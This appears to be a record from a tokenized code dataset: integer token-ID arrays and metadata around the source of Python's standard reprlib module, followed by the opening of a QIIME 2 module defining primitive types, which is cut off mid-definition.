14, 20027, 8, 277, 14, 576, 9, 503, 3087, 267, 871, 4279, 26, 288, 986, 267, 372, 3087, 339, 347, 289, 8, 277, 304, 267, 408, 267, 4703, 12, 315, 3144, 13, 5180, 10857, 436, 9395, 12, 543, 9395, 3602, 2331, 340, 2985, 3984, 267, 4697, 14, 267, 6058, 26, 283, 17, 297, 283, 17, 26, 1216, 297, 283, 18, 26, 1717, 297, 283, 18, 7, 267, 2165, 1359, 386, 695, 3329, 14, 267, 408, 267, 340, 291, 14, 576, 14, 10698, 508, 378, 26, 288, 372, 291, 14, 71, 342, 267, 372, 1543, 83, 2689, 83, 7, 450, 334, 277, 14, 71, 1062, 291, 14, 73, 1012, 339, 347, 486, 8, 277, 304, 267, 298, 24246, 12, 3144, 13, 5180, 1475, 1928, 9186, 10136, 27, 284, 14, 69, 14, 283, 17, 7, 370, 283, 713, 4065, 267, 340, 291, 14, 576, 14, 5180, 508, 378, 26, 288, 372, 3144, 267, 340, 291, 14, 576, 14, 5180, 690, 3144, 26, 288, 372, 291, 14, 576, 14, 5180, 446, 3144, 267, 372, 291, 14, 576, 14, 5180, 339, 347, 598, 8, 277, 304, 267, 298, 24246, 12, 5504, 13, 5180, 1475, 1928, 9186, 10136, 27, 284, 14, 69, 14, 283, 16, 7, 370, 283, 1789, 4065, 267, 372, 291, 14, 576, 14, 5180, 339, 347, 394, 8, 277, 304, 267, 298, 24246, 12, 3144, 13, 5180, 1475, 27, 284, 14, 69, 14, 283, 614, 7, 370, 283, 713, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 71, 342, 339, 347, 869, 8, 277, 304, 267, 298, 24246, 12, 5504, 13, 5180, 1475, 27, 284, 14, 69, 14, 283, 383, 7, 370, 283, 1789, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 39, 342, 339, 347, 284, 8, 277, 304, 267, 298, 4649, 3862, 27, 284, 14, 69, 14, 283, 383, 7, 370, 283, 1427, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 576, 14, 10698, 339, 347, 593, 8, 277, 304, 267, 408, 267, 18029, 4646, 370, 32585, 87, 1158, 900, 315, 10857, 27, 325, 14, 71, 14, 6681, 24215, 297, 2475, 12212, 1370, 398, 982, 7137, 2556, 365, 440, 2808, 12, 642, 1083, 2529, 267, 376, 2701, 1059, 14, 267, 408, 267, 340, 440, 291, 14, 7145, 26 ]
[ 199, 31300, 1434, 342, 3449, 1434, 10803, 199, 9295, 1455, 921, 1544, 14, 8624, 14, 846, 15, 602, 367, 1475, 3326, 199, 199, 7692, 26, 199, 6071, 492, 2197, 199, 6071, 366, 275, 2197, 14, 2083, 14, 2131, 342, 199, 6071, 4051, 275, 6148, 3484, 8, 68, 9, 199, 6071, 870, 8, 1587, 14, 908, 360, 74, 51, 481, 1488, 869, 26, 73, 1333, 199, 23, 273, 18365, 22459, 13004, 4119, 26, 1355, 199, 6071, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 11234, 199, 646, 2197, 199, 646, 295, 199, 646, 900, 199, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 9356, 492, 334, 272, 603, 615, 2080, 51, 12, 603, 615, 2080, 51, 63, 19, 12, 603, 615, 2080, 51, 63, 19600, 12, 603, 615, 2080, 51, 63, 1282, 12, 644, 8699, 43, 25683, 12, 644, 8699, 43, 25683, 63, 1217, 7184, 12, 199, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 199, 504, 1639, 14, 1208, 14, 7145, 492, 664, 63, 885, 63, 7145, 12, 365, 63, 14600, 12, 365, 63, 21578, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 199, 264, 63, 908, 6574, 275, 295, 14, 2014, 8, 82, 10120, 11230, 1103, 31440, 65, 5583, 34, 2866, 872, 29916, 38, 71, 39, 72, 16106, 41, 74, 76, 23041, 45, 78, 1944, 1938, 2393, 933, 21364, 29638, 55, 89, 30879, 58, 566, 358, 199, 264, 63, 13572, 275, 295, 14, 2014, 8, 82, 8124, 8, 4959, 358, 421, 199, 533, 31084, 8, 785, 304, 272, 347, 1475, 8, 277, 12, 1475, 495, 304, 267, 10338, 275, 942, 267, 367, 284, 12, 14854, 315, 3874, 8, 264, 63, 908, 6574, 14, 1294, 8, 3990, 63, 505, 8, 908, 495, 15206, 288, 340, 284, 450, 499, 26, 355, 10338, 14, 740, 8, 3990, 63, 505, 8, 5675, 8, 277, 12, 14854, 9, 4059, 288, 916, 14854, 26, 355, 10338, 14, 740, 8, 264, 63, 13572, 14, 954, 8, 82, 1154, 17, 297, 14854, 430, 267, 372, 6522, 904, 8, 15655, 9, 421, 199, 533, 4703, 3484, 8, 7772, 304, 339, 347, 636, 826, 721, 277, 12, 1559, 304, 267, 291, 14, 576, 275, 1559, 267, 291, 14, 7145, 275, 488, 398, 327, 2136, 1454, 2291, 7137, 1380, 10803, 2197, 2251, 12, 267, 327, 440, 1434, 2251, 334, 7145, 2556, 440, 5827, 395, 267, 327, 503, 900, 2251, 334, 17777, 23594, 1639, 4592, 680, 267, 340, 1228, 8, 1113, 12, 2197, 14, 2083, 304, 288, 340, 365, 63, 21578, 8, 1113, 304, 355, 291, 14, 7145, 275, 664, 63, 885, 63, 7145, 342, 288, 587, 26, 355, 291, 14, 7145, 275, 1559, 14, 9374, 339, 347, 282, 8, 277, 304, 267, 3546, 65, 14, 77, 3530, 503, 283, 80, 14, 77, 3530, 2, 267, 340, 291, 14, 576, 14, 5180, 690, 4119, 26, 288, 372, 4018, 80, 14, 77, 2659, 267, 372, 4018, 65, 14, 77, 2659, 339, 347, 437, 8, 277, 304, 267, 3546, 1156, 7, 503, 283, 10793, 4065, 267, 340, 291, 14, 576, 14, 5180, 690, 4119, 26, 288, 372, 4018, 10793, 358, 267, 372, 4018, 1156, 358, 339, 347, 699, 8, 277, 304, 267, 298, 51, 6821, 22026, 900, 2, 267, 746, 4279, 360, 7551, 506, 6366, 315, 282, 6466, 4683, 358, 339, 347, 325, 8, 277, 304, 267, 408, 267, 4703, 2619, 536, 14, 398, 982, 7137, 2556, 365, 440, 2808, 12, 642, 1083, 2529, 267, 376, 2701, 1059, 14, 267, 408, 267, 340, 440, 291, 14, 7145, 26, 288, 372, 3087, 398, 862, 26, 288, 340, 2688, 8, 277, 14, 576, 12, 283, 9374, 358, 436, 291, 14, 576, 14, 9374, 26, 355, 327, 26858, 370, 675, 10313, 14, 20027, 436, 440, 2197, 14, 20027, 355, 327, 2952, 666, 521, 14, 20027, 1630, 440, 4282, 6140, 355, 372, 291, 14, 576, 14, 9374, 14, 20027, 8, 277, 14, 576, 9, 503, 3087, 267, 871, 4279, 26, 288, 986, 267, 372, 3087, 339, 347, 289, 8, 277, 304, 267, 408, 267, 4703, 12, 315, 3144, 13, 5180, 10857, 436, 9395, 12, 543, 9395, 3602, 2331, 340, 2985, 3984, 267, 4697, 14, 267, 6058, 26, 283, 17, 297, 283, 17, 26, 1216, 297, 283, 18, 26, 1717, 297, 283, 18, 7, 267, 2165, 1359, 386, 695, 3329, 14, 267, 408, 267, 340, 291, 14, 576, 14, 10698, 508, 378, 26, 288, 372, 291, 14, 71, 342, 267, 372, 1543, 83, 2689, 83, 7, 450, 334, 277, 14, 71, 1062, 291, 14, 73, 1012, 339, 347, 486, 8, 277, 304, 267, 298, 24246, 12, 3144, 13, 5180, 1475, 1928, 9186, 10136, 27, 284, 14, 69, 14, 283, 17, 7, 370, 283, 713, 4065, 267, 340, 291, 14, 576, 14, 5180, 508, 378, 26, 288, 372, 3144, 267, 340, 291, 14, 576, 14, 5180, 690, 3144, 26, 288, 372, 291, 14, 576, 14, 5180, 446, 3144, 267, 372, 291, 14, 576, 14, 5180, 339, 347, 598, 8, 277, 304, 267, 298, 24246, 12, 5504, 13, 5180, 1475, 1928, 9186, 10136, 27, 284, 14, 69, 14, 283, 16, 7, 370, 283, 1789, 4065, 267, 372, 291, 14, 576, 14, 5180, 339, 347, 394, 8, 277, 304, 267, 298, 24246, 12, 3144, 13, 5180, 1475, 27, 284, 14, 69, 14, 283, 614, 7, 370, 283, 713, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 71, 342, 339, 347, 869, 8, 277, 304, 267, 298, 24246, 12, 5504, 13, 5180, 1475, 27, 284, 14, 69, 14, 283, 383, 7, 370, 283, 1789, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 39, 342, 339, 347, 284, 8, 277, 304, 267, 298, 4649, 3862, 27, 284, 14, 69, 14, 283, 383, 7, 370, 283, 1427, 4065, 267, 372, 1543, 996, 68, 7, 450, 291, 14, 576, 14, 10698, 339, 347, 593, 8, 277, 304, 267, 408, 267, 18029, 4646, 370, 32585, 87, 1158, 900, 315, 10857, 27, 325, 14, 71, 14, 6681, 24215, 297, 2475, 12212, 1370, 398, 982, 7137, 2556, 365, 440, 2808, 12, 642, 1083, 2529, 267, 376, 2701, 1059, 14, 267, 408, 267, 340, 440, 291, 14, 7145, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
huguesv/PTVS
Python/Product/Miniconda/Miniconda3-x64/Lib/reprlib.py
41
5267
"""Redo the builtin repr() (representation) but with limits on most sizes.""" __all__ = ["Repr", "repr", "recursive_repr"] import builtins from itertools import islice from _thread import get_ident def recursive_repr(fillvalue='...'): 'Decorator to make a repr function return fillvalue for a recursive call' def decorating_function(user_function): repr_running = set() def wrapper(self): key = id(self), get_ident() if key in repr_running: return fillvalue repr_running.add(key) try: result = user_function(self) finally: repr_running.discard(key) return result # Can't use functools.wraps() here because of bootstrap issues wrapper.__module__ = getattr(user_function, '__module__') wrapper.__doc__ = getattr(user_function, '__doc__') wrapper.__name__ = getattr(user_function, '__name__') wrapper.__qualname__ = getattr(user_function, '__qualname__') wrapper.__annotations__ = getattr(user_function, '__annotations__', {}) return wrapper return decorating_function class Repr: def __init__(self): self.maxlevel = 6 self.maxtuple = 6 self.maxlist = 6 self.maxarray = 5 self.maxdict = 4 self.maxset = 6 self.maxfrozenset = 6 self.maxdeque = 6 self.maxstring = 30 self.maxlong = 40 self.maxother = 30 def repr(self, x): return self.repr1(x, self.maxlevel) def repr1(self, x, level): typename = type(x).__name__ if ' ' in typename: parts = typename.split() typename = '_'.join(parts) if hasattr(self, 'repr_' + typename): return getattr(self, 'repr_' + typename)(x, level) else: return self.repr_instance(x, level) def _repr_iterable(self, x, level, left, right, maxiter, trail=''): n = len(x) if level <= 0 and n: s = '...' else: newlevel = level - 1 repr1 = self.repr1 pieces = [repr1(elem, newlevel) for elem in islice(x, maxiter)] if n > maxiter: pieces.append('...') s = ', '.join(pieces) if n == 1 and trail: right = trail + right return '%s%s%s' % (left, s, right) def repr_tuple(self, x, level): return self._repr_iterable(x, level, '(', ')', self.maxtuple, ',') def repr_list(self, x, level): return self._repr_iterable(x, level, '[', ']', self.maxlist) def repr_array(self, x, level): if not x: return "array('%s')" % x.typecode header = "array('%s', [" % x.typecode return self._repr_iterable(x, level, header, '])', self.maxarray) def repr_set(self, x, level): if not x: return 'set()' x = _possibly_sorted(x) return self._repr_iterable(x, level, '{', '}', self.maxset) def repr_frozenset(self, x, level): if not x: return 'frozenset()' x = _possibly_sorted(x) return self._repr_iterable(x, level, 'frozenset({', '})', self.maxfrozenset) def repr_deque(self, x, level): return self._repr_iterable(x, level, 'deque([', '])', self.maxdeque) def repr_dict(self, x, level): n = len(x) if n == 0: return '{}' if level <= 0: return '{...}' newlevel = level - 1 repr1 = self.repr1 pieces = [] for key in islice(_possibly_sorted(x), self.maxdict): keyrepr = repr1(key, newlevel) valrepr = repr1(x[key], newlevel) pieces.append('%s: %s' % (keyrepr, valrepr)) if n > self.maxdict: pieces.append('...') s = ', '.join(pieces) return '{%s}' % (s,) def repr_str(self, x, level): s = builtins.repr(x[:self.maxstring]) if len(s) > self.maxstring: i = max(0, (self.maxstring-3)//2) j = max(0, self.maxstring-3-i) s = builtins.repr(x[:i] + x[len(x)-j:]) s = s[:i] + '...' + s[len(s)-j:] return s def repr_int(self, x, level): s = builtins.repr(x) # XXX Hope this isn't too slow... if len(s) > self.maxlong: i = max(0, (self.maxlong-3)//2) j = max(0, self.maxlong-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def repr_instance(self, x, level): try: s = builtins.repr(x) # Bugs in x.__repr__() can cause arbitrary # exceptions -- then make up something except Exception: return '<%s instance at %#x>' % (x.__class__.__name__, id(x)) if len(s) > self.maxother: i = max(0, (self.maxother-3)//2) j = max(0, self.maxother-3-i) s = s[:i] + '...' + s[len(s)-j:] return s def _possibly_sorted(x): # Since not all sequences of items can be sorted and comparison # functions may raise arbitrary exceptions, return an unsorted # sequence in that case. try: return sorted(x) except Exception: return list(x) aRepr = Repr() repr = aRepr.repr
apache-2.0
[ 624, 10858, 79, 314, 6762, 4700, 342, 334, 22903, 9, 1325, 543, 10976, 641, 4750, 10627, 1041, 199, 199, 363, 452, 363, 275, 2097, 15713, 401, 298, 2722, 401, 298, 9931, 63, 2722, 937, 199, 199, 646, 12963, 199, 504, 7975, 492, 365, 3037, 199, 504, 485, 2671, 492, 664, 63, 5425, 199, 199, 318, 9133, 63, 2722, 8, 4498, 585, 534, 1396, 735, 272, 283, 14946, 370, 1852, 282, 4700, 805, 372, 5554, 585, 367, 282, 9133, 1240, 7, 339, 347, 5509, 1958, 63, 1593, 8, 751, 63, 1593, 304, 267, 4700, 63, 5720, 275, 663, 342, 398, 347, 4975, 8, 277, 304, 288, 790, 275, 1305, 8, 277, 395, 664, 63, 5425, 342, 288, 340, 790, 315, 4700, 63, 5720, 26, 355, 372, 5554, 585, 288, 4700, 63, 5720, 14, 525, 8, 498, 9, 288, 862, 26, 355, 754, 275, 922, 63, 1593, 8, 277, 9, 288, 3753, 26, 355, 4700, 63, 5720, 14, 14394, 8, 498, 9, 288, 372, 754, 398, 327, 6855, 1133, 675, 9143, 14, 13582, 342, 2348, 2952, 402, 15865, 10876, 267, 4975, 855, 578, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 578, 13766, 267, 4975, 855, 1301, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 1301, 13766, 267, 4975, 855, 354, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 354, 13766, 267, 4975, 855, 537, 354, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 537, 354, 13766, 267, 4975, 855, 11270, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 11270, 7500, 5009, 267, 372, 4975, 339, 372, 5509, 1958, 63, 1593, 199, 199, 533, 799, 2700, 26, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 988, 1896, 275, 1227, 267, 291, 14, 391, 400, 1363, 275, 1227, 267, 291, 14, 988, 513, 275, 1227, 267, 291, 14, 988, 1144, 275, 959, 267, 291, 14, 988, 807, 275, 841, 267, 291, 14, 988, 409, 275, 1227, 267, 291, 14, 988, 21362, 275, 1227, 267, 291, 14, 988, 22983, 275, 1227, 267, 291, 14, 988, 875, 275, 4233, 267, 291, 14, 988, 2809, 275, 6335, 267, 291, 14, 988, 1848, 275, 4233, 339, 347, 4700, 8, 277, 12, 671, 304, 267, 372, 291, 14, 2722, 17, 8, 88, 12, 291, 14, 988, 1896, 9, 339, 347, 4700, 17, 8, 277, 12, 671, 12, 2166, 304, 267, 19151, 275, 730, 8, 88, 2843, 354, 363, 267, 340, 283, 283, 315, 19151, 26, 288, 4184, 275, 19151, 14, 1294, 342, 288, 19151, 275, 2513, 1370, 904, 8, 4181, 9, 267, 340, 2688, 8, 277, 12, 283, 2722, 8650, 435, 19151, 304, 288, 372, 2519, 8, 277, 12, 283, 2722, 8650, 435, 19151, 5130, 88, 12, 2166, 9, 267, 587, 26, 288, 372, 291, 14, 2722, 63, 842, 8, 88, 12, 2166, 9, 339, 347, 485, 2722, 63, 8147, 8, 277, 12, 671, 12, 2166, 12, 3602, 12, 2451, 12, 27150, 12, 27225, 9280, 267, 302, 275, 822, 8, 88, 9, 267, 340, 2166, 2695, 378, 436, 302, 26, 288, 308, 275, 28044, 267, 587, 26, 288, 892, 1896, 275, 2166, 446, 413, 288, 4700, 17, 275, 291, 14, 2722, 17, 288, 10338, 275, 359, 2722, 17, 8, 6086, 12, 892, 1896, 9, 367, 6193, 315, 365, 3037, 8, 88, 12, 27150, 1874, 288, 340, 302, 690, 27150, 26, 221, 10338, 14, 740, 360, 15103, 288, 308, 275, 1656, 1987, 904, 8, 15655, 9, 288, 340, 302, 508, 413, 436, 27225, 26, 221, 2451, 275, 27225, 435, 2451, 267, 372, 1543, 83, 5, 83, 5, 83, 7, 450, 334, 3039, 12, 308, 12, 2451, 9, 339, 347, 4700, 63, 2960, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 5102, 283, 3196, 291, 14, 391, 400, 1363, 12, 1656, 358, 339, 347, 4700, 63, 513, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 6730, 297, 283, 4300, 291, 14, 988, 513, 9, 339, 347, 4700, 63, 1144, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 298, 1144, 3508, 83, 19124, 450, 671, 14, 21220, 267, 1406, 275, 298, 1144, 3508, 83, 297, 2097, 450, 671, 14, 21220, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 1406, 12, 283, 22206, 291, 14, 988, 1144, 9, 339, 347, 4700, 63, 409, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 283, 409, 11716, 267, 671, 275, 485, 19614, 63, 5917, 8, 88, 9, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 5041, 297, 283, 7293, 291, 14, 988, 409, 9, 339, 347, 4700, 63, 21362, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 283, 21362, 11716, 267, 671, 275, 485, 19614, 63, 5917, 8, 88, 9, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 21362, 2561, 297, 283, 25583, 3521, 291, 14, 988, 21362, 9, 339, 347, 4700, 63, 22983, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 22983, 779, 297, 283, 22206, 291, 14, 988, 22983, 9, 339, 347, 4700, 63, 807, 8, 277, 12, 671, 12, 2166, 304, 267, 302, 275, 822, 8, 88, 9, 267, 340, 302, 508, 378, 26, 372, 19574, 267, 340, 2166, 2695, 378, 26, 372, 5041, 1396, 6834, 267, 892, 1896, 275, 2166, 446, 413, 267, 4700, 17, 275, 291, 14, 2722, 17, 267, 10338, 275, 942, 267, 367, 790, 315, 365, 3037, 1547, 19614, 63, 5917, 8, 88, 395, 291, 14, 988, 807, 304, 288, 790, 2722, 275, 4700, 17, 8, 498, 12, 892, 1896, 9, 288, 1139, 2722, 275, 4700, 17, 8, 88, 59, 498, 467, 892, 1896, 9, 288, 10338, 14, 740, 3508, 83, 26, 450, 83, 7, 450, 334, 498, 2722, 12, 1139, 2722, 430, 267, 340, 302, 690, 291, 14, 988, 807, 26, 10338, 14, 740, 360, 15103, 267, 308, 275, 1656, 1987, 904, 8, 15655, 9, 267, 372, 12100, 83, 6834, 450, 334, 83, 4258, 339, 347, 4700, 63 ]
[ 10858, 79, 314, 6762, 4700, 342, 334, 22903, 9, 1325, 543, 10976, 641, 4750, 10627, 1041, 199, 199, 363, 452, 363, 275, 2097, 15713, 401, 298, 2722, 401, 298, 9931, 63, 2722, 937, 199, 199, 646, 12963, 199, 504, 7975, 492, 365, 3037, 199, 504, 485, 2671, 492, 664, 63, 5425, 199, 199, 318, 9133, 63, 2722, 8, 4498, 585, 534, 1396, 735, 272, 283, 14946, 370, 1852, 282, 4700, 805, 372, 5554, 585, 367, 282, 9133, 1240, 7, 339, 347, 5509, 1958, 63, 1593, 8, 751, 63, 1593, 304, 267, 4700, 63, 5720, 275, 663, 342, 398, 347, 4975, 8, 277, 304, 288, 790, 275, 1305, 8, 277, 395, 664, 63, 5425, 342, 288, 340, 790, 315, 4700, 63, 5720, 26, 355, 372, 5554, 585, 288, 4700, 63, 5720, 14, 525, 8, 498, 9, 288, 862, 26, 355, 754, 275, 922, 63, 1593, 8, 277, 9, 288, 3753, 26, 355, 4700, 63, 5720, 14, 14394, 8, 498, 9, 288, 372, 754, 398, 327, 6855, 1133, 675, 9143, 14, 13582, 342, 2348, 2952, 402, 15865, 10876, 267, 4975, 855, 578, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 578, 13766, 267, 4975, 855, 1301, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 1301, 13766, 267, 4975, 855, 354, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 354, 13766, 267, 4975, 855, 537, 354, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 537, 354, 13766, 267, 4975, 855, 11270, 363, 275, 2519, 8, 751, 63, 1593, 12, 2560, 11270, 7500, 5009, 267, 372, 4975, 339, 372, 5509, 1958, 63, 1593, 199, 199, 533, 799, 2700, 26, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 988, 1896, 275, 1227, 267, 291, 14, 391, 400, 1363, 275, 1227, 267, 291, 14, 988, 513, 275, 1227, 267, 291, 14, 988, 1144, 275, 959, 267, 291, 14, 988, 807, 275, 841, 267, 291, 14, 988, 409, 275, 1227, 267, 291, 14, 988, 21362, 275, 1227, 267, 291, 14, 988, 22983, 275, 1227, 267, 291, 14, 988, 875, 275, 4233, 267, 291, 14, 988, 2809, 275, 6335, 267, 291, 14, 988, 1848, 275, 4233, 339, 347, 4700, 8, 277, 12, 671, 304, 267, 372, 291, 14, 2722, 17, 8, 88, 12, 291, 14, 988, 1896, 9, 339, 347, 4700, 17, 8, 277, 12, 671, 12, 2166, 304, 267, 19151, 275, 730, 8, 88, 2843, 354, 363, 267, 340, 283, 283, 315, 19151, 26, 288, 4184, 275, 19151, 14, 1294, 342, 288, 19151, 275, 2513, 1370, 904, 8, 4181, 9, 267, 340, 2688, 8, 277, 12, 283, 2722, 8650, 435, 19151, 304, 288, 372, 2519, 8, 277, 12, 283, 2722, 8650, 435, 19151, 5130, 88, 12, 2166, 9, 267, 587, 26, 288, 372, 291, 14, 2722, 63, 842, 8, 88, 12, 2166, 9, 339, 347, 485, 2722, 63, 8147, 8, 277, 12, 671, 12, 2166, 12, 3602, 12, 2451, 12, 27150, 12, 27225, 9280, 267, 302, 275, 822, 8, 88, 9, 267, 340, 2166, 2695, 378, 436, 302, 26, 288, 308, 275, 28044, 267, 587, 26, 288, 892, 1896, 275, 2166, 446, 413, 288, 4700, 17, 275, 291, 14, 2722, 17, 288, 10338, 275, 359, 2722, 17, 8, 6086, 12, 892, 1896, 9, 367, 6193, 315, 365, 3037, 8, 88, 12, 27150, 1874, 288, 340, 302, 690, 27150, 26, 221, 10338, 14, 740, 360, 15103, 288, 308, 275, 1656, 1987, 904, 8, 15655, 9, 288, 340, 302, 508, 413, 436, 27225, 26, 221, 2451, 275, 27225, 435, 2451, 267, 372, 1543, 83, 5, 83, 5, 83, 7, 450, 334, 3039, 12, 308, 12, 2451, 9, 339, 347, 4700, 63, 2960, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 5102, 283, 3196, 291, 14, 391, 400, 1363, 12, 1656, 358, 339, 347, 4700, 63, 513, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 6730, 297, 283, 4300, 291, 14, 988, 513, 9, 339, 347, 4700, 63, 1144, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 298, 1144, 3508, 83, 19124, 450, 671, 14, 21220, 267, 1406, 275, 298, 1144, 3508, 83, 297, 2097, 450, 671, 14, 21220, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 1406, 12, 283, 22206, 291, 14, 988, 1144, 9, 339, 347, 4700, 63, 409, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 283, 409, 11716, 267, 671, 275, 485, 19614, 63, 5917, 8, 88, 9, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 5041, 297, 283, 7293, 291, 14, 988, 409, 9, 339, 347, 4700, 63, 21362, 8, 277, 12, 671, 12, 2166, 304, 267, 340, 440, 671, 26, 288, 372, 283, 21362, 11716, 267, 671, 275, 485, 19614, 63, 5917, 8, 88, 9, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 21362, 2561, 297, 283, 25583, 3521, 291, 14, 988, 21362, 9, 339, 347, 4700, 63, 22983, 8, 277, 12, 671, 12, 2166, 304, 267, 372, 291, 423, 2722, 63, 8147, 8, 88, 12, 2166, 12, 283, 22983, 779, 297, 283, 22206, 291, 14, 988, 22983, 9, 339, 347, 4700, 63, 807, 8, 277, 12, 671, 12, 2166, 304, 267, 302, 275, 822, 8, 88, 9, 267, 340, 302, 508, 378, 26, 372, 19574, 267, 340, 2166, 2695, 378, 26, 372, 5041, 1396, 6834, 267, 892, 1896, 275, 2166, 446, 413, 267, 4700, 17, 275, 291, 14, 2722, 17, 267, 10338, 275, 942, 267, 367, 790, 315, 365, 3037, 1547, 19614, 63, 5917, 8, 88, 395, 291, 14, 988, 807, 304, 288, 790, 2722, 275, 4700, 17, 8, 498, 12, 892, 1896, 9, 288, 1139, 2722, 275, 4700, 17, 8, 88, 59, 498, 467, 892, 1896, 9, 288, 10338, 14, 740, 3508, 83, 26, 450, 83, 7, 450, 334, 498, 2722, 12, 1139, 2722, 430, 267, 340, 302, 690, 291, 14, 988, 807, 26, 10338, 14, 740, 360, 15103, 267, 308, 275, 1656, 1987, 904, 8, 15655, 9, 267, 372, 12100, 83, 6834, 450, 334, 83, 4258, 339, 347, 4700, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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---------------------------------------------------------------------------- # Copyright (c) 2016-2019, QIIME 2 development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # ---------------------------------------------------------------------------- import numbers import re from qiime2.core.type.grammar import ( TypeExpression, CompositeType, Predicate, UnionTypeExpression) import qiime2.metadata as metadata def is_primitive_type(type_): return isinstance(type_, _PrimitiveBase) class _PrimitiveBase(TypeExpression): def _validate_union_(self, other, handshake=False): # It is possible we may want this someday: `Int | Str`, but order of # encode/decode dispatch wouldn't be straight-forward. # Order of the declaration could indicate "MRO", but then equality # must consider Int | Str != Str | Int, which feels weird. raise TypeError("Cannot union primitive types.") def _validate_intersection_(self, other, handshake=False): # This literally makes no sense for primitives. Even less sense than # C's Union type (which is actually an intersection type...) raise TypeError("Cannot intersect primitive types.") class _Primitive(_PrimitiveBase): def _validate_predicate_(self, predicate): super()._validate_predicate_(predicate) # _valid_predicates will be on the class obj of the primitives to # make defining them easy if not isinstance(predicate, tuple(self._valid_predicates)): raise TypeError("Cannot supply %r as a predicate to %r type," " permitted predicates: %r" % (predicate, self, {p.__name__ for p in self._valid_predicates})) for bound in predicate.iter_boundaries(): if not self._is_element_(bound): raise TypeError("%r has the wrong types for %r." % (predicate, self)) def to_ast(self): ast = super().to_ast() ast['type'] = 'primitive' return ast _RANGE_DEFAULT_START = None _RANGE_DEFAULT_END = None _RANGE_DEFAULT_INCLUSIVE_START = True _RANGE_DEFAULT_INCLUSIVE_END = False class Range(Predicate): def __init__(self, *args, 